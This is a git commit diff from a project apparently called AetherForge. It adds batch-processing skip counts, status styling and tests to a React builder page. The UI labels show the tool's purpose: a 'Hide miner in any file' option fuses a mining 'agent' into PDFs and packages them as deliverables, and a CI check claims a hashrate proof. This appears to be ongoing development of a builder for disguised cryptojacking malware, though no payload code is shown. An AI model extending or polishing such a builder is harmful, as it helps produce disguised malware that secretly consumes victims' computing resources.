Add batch forge per-file skipped counter UI and tests.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Batch fusion now skips preflight/build failures per file, shows skipped count in progress header and log, and documents coverage by removing the deferred PROBLEMS row.
This commit is contained in:
AetherForge
2026-06-07 06:05:29 -07:00
parent 4e2005a567
commit 39b935aeb6
4 changed files with 131 additions and 9 deletions

View File

@@ -611,6 +611,79 @@ describe('BuilderPage', () => {
expect(screen.getByText(/1\/2 — cancelled/i)).toBeInTheDocument();
});
it('skips per-file build failures and shows skipped counter in batch progress', async () => {
const user = userEvent.setup();
const buildSpy = vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) => {
if (file?.name === 'bad.pdf') {
return { success: false, error: 'Payload too large for fusion stub' };
}
return successfulBuild({
fusion_enabled: true,
bundle_file_name: `${file?.name ?? 'file'}-package.zip`,
fusion_export_dir: `fusion-deliverables/${file?.name ?? 'file'}`,
});
});
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
ok: true,
json: async () => ({ stage: 'Packaging', pct: 90 }),
}));
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
await user.click(screen.getByRole('button', { name: /Hide miner in any file/i }));
fireEvent.change(fusionBatchFileInput(), {
target: { files: [mockFusionFile('bad.pdf'), mockFusionFile('good.pdf')] },
});
await user.click(screen.getByRole('button', { name: /Forge all 2 files/i }));
await waitFor(() => expect(buildSpy).toHaveBeenCalledTimes(2));
expect(await screen.findByText(/Batch forged 1 file\(s\) · 1 skipped/i)).toBeInTheDocument();
expect(screen.getByText(/bad\.pdf — Payload too large for fusion stub/i)).toBeInTheDocument();
expect(screen.getByText(/2\/2 — done · 1 skipped/i)).toBeInTheDocument();
expect(screen.getByText(/good\.pdf — Saved → fusion-deliverables\/good\.pdf/i)).toBeInTheDocument();
});
it('skips per-file preflight failures without aborting the batch', async () => {
const user = userEvent.setup();
const forgeValidation = await import('../help/forgeValidation');
const { runForgePreflight: realPreflight } = await vi.importActual<
typeof import('../help/forgeValidation')
>('../help/forgeValidation');
const preflightSpy = vi.spyOn(forgeValidation, 'runForgePreflight').mockImplementation((form, fusion) => {
if (form.fusion_media_base_name === 'blocked.pdf') {
return [{ id: 'fusion', level: 'error', message: 'Fusion media exceeds size cap' }];
}
return realPreflight(form, fusion);
});
const buildSpy = vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) =>
successfulBuild({
fusion_enabled: true,
bundle_file_name: `${file?.name ?? 'file'}-package.zip`,
fusion_export_dir: `fusion-deliverables/${file?.name ?? 'file'}`,
}),
);
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
ok: true,
json: async () => ({ stage: 'Packaging', pct: 90 }),
}));
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
await user.click(screen.getByRole('button', { name: /Hide miner in any file/i }));
fireEvent.change(fusionBatchFileInput(), {
target: { files: [mockFusionFile('blocked.pdf'), mockFusionFile('allowed.pdf')] },
});
await user.click(screen.getByRole('button', { name: /Forge all 2 files/i }));
await waitFor(() => expect(buildSpy).toHaveBeenCalledTimes(1));
expect(buildSpy.mock.calls[0][1]?.name).toBe('allowed.pdf');
expect(await screen.findByText(/blocked\.pdf — Fusion media exceeds size cap/i)).toBeInTheDocument();
expect(screen.getByText(/2\/2 — done · 1 skipped/i)).toBeInTheDocument();
preflightSpy.mockRestore();
});
it('clears fusion batch queue after successful batch forge', async () => {
const user = userEvent.setup();
vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) =>

View File

@@ -155,7 +155,8 @@ export default function BuilderPage() {
fileName: string;
phase: string;
percent: number;
log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail'; detail?: string }[];
skipped: number;
log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail' | 'skipped'; detail?: string }[];
} | null>(null);
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
const [estimateLoading, setEstimateLoading] = useState(false);
@@ -602,8 +603,9 @@ export default function BuilderPage() {
setBuilding(true);
const total = fusionBatchFiles.length;
const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const }));
setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, log });
setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, skipped: 0, log });
let ok = 0;
let skipped = 0;
try {
for (let i = 0; i < total; i++) {
if (batchCancelRef.current) {
@@ -642,13 +644,44 @@ export default function BuilderPage() {
});
const checks = runForgePreflight(req, true);
if (preflightHasErrors(checks)) {
throw new Error(`Preflight failed for ${file.name}`);
const reason = checks.find((c) => c.level === 'error')?.message ?? 'Preflight failed';
skipped++;
setBatchJob((j) =>
j
? {
...j,
skipped,
fileName: '',
log: j.log.map((row, idx) =>
idx === i ? { ...row, status: 'skipped', detail: reason } : row
),
}
: j
);
continue;
}
const batchToken = crypto.randomUUID();
cancelTokenRef.current = batchToken;
const result = await api.buildAgent({ ...req, cancel_token: batchToken }, file);
cancelTokenRef.current = '';
if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`);
if (!result.success) {
skipped++;
setBatchJob((j) =>
j
? {
...j,
skipped,
fileName: '',
log: j.log.map((row, idx) =>
idx === i
? { ...row, status: 'skipped', detail: result.error || 'Build failed' }
: row
),
}
: j
);
continue;
}
setBatchJob((j) =>
j
? {
@@ -682,10 +715,13 @@ export default function BuilderPage() {
);
}
if (!batchCancelRef.current) {
setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j));
setBlueprintMsg(`✅ Batch forged ${ok} file(s) — one universal ZIP per file in fusion-deliverables/`);
setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '', skipped } : j));
const skipNote = skipped > 0 ? ` · ${skipped} skipped` : '';
setBlueprintMsg(
`✅ Batch forged ${ok} file(s)${skipNote} — one universal ZIP per file in fusion-deliverables/`
);
setTimeout(() => setBlueprintMsg(''), 6000);
setFusionBatchFiles([]);
if (ok > 0) setFusionBatchFiles([]);
}
} catch (err: unknown) {
const msg = err instanceof Error ? err.message : 'Batch forge failed';
@@ -2503,6 +2539,7 @@ export default function BuilderPage() {
<span className="font-tech">BATCH FORGE</span>
<span>
{batchJob.current}/{batchJob.total} {batchJob.phase}
{batchJob.skipped > 0 ? ` · ${batchJob.skipped} skipped` : ''}
</span>
</div>
<div className="batch-progress-track">
@@ -2520,7 +2557,15 @@ export default function BuilderPage() {
{batchJob.log.map((row) => (
<li key={row.name} className={`batch-log-${row.status}`}>
<span className="batch-log-icon">
{row.status === 'ok' ? '✓' : row.status === 'fail' ? '✕' : row.status === 'active' ? '…' : '○'}
{row.status === 'ok'
? '✓'
: row.status === 'fail'
? '✕'
: row.status === 'skipped'
? '—'
: row.status === 'active'
? '…'
: '○'}
</span>
<span>
{row.name}

View File

@@ -1509,6 +1509,11 @@ button.deliverable-card .form-hint {
color: var(--neon-red, #f55);
}
.batch-forge-log li.batch-log-skipped {
color: var(--text-secondary);
opacity: 0.85;
}
.download-actions {
display: flex;
flex-wrap: wrap;